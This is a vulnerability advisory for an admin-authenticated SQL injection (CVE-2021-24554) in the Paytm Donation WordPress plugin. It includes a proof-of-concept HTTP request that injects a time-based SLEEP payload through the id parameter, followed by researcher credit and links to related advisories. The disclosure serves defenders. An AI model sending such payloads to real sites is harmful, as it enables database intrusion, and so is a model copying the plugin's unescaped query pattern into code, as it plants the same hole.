Paytm – Donation Plugin <= 1.3.2 – Authenticated (admin+) SQL Injection | CVE 2021-24554 | Plugin Vulnerabilities

Description

The plugin does not sanitise, validate or escape the id GET parameter before using it in a SQL statement when deleting donations, leading to an authenticated SQL injection issue

Proof of Concept

GET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=1%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(5)))Pjwy) HTTP/1.1
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9
Cookie: [admin+]
Connection: close

Affects Plugins

No known fix

References

CVE

URL

https://codevigilant.com/disclosure/2021/wp-plugin-wp-paytm-pay/

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

Shreya Pohekar of Codevigilant Project

Verified

Yes

WPVDB ID

f2842ac8-76fa-4490-aa0c-5f2b07ecf2ad

Timeline

Publicly Published

2021-07-24 (about 4 years ago)

Added

2021-07-24 (about 4 years ago)

Last Updated

2022-02-24 (about 3 years ago)

Other

Published

Title

Published

2023-12-27

Title

WebinarIgnition < 3.05.1 - Unauthenticated SQL Injection

Published

2015-07-07

Title

Awesome Filterable Portfolio < 1.9 - Authenticated Blind SQL Injection

Published

2021-08-04

Title

Availability Calendar < 1.2.1 - Authenticated SQL Injection

Published

2019-08-12

Title

Give <= 2.5.0 - SQL Injection

Published

2023-04-07

Title

Spiffy Calendar < 4.9.2 - SQL Injection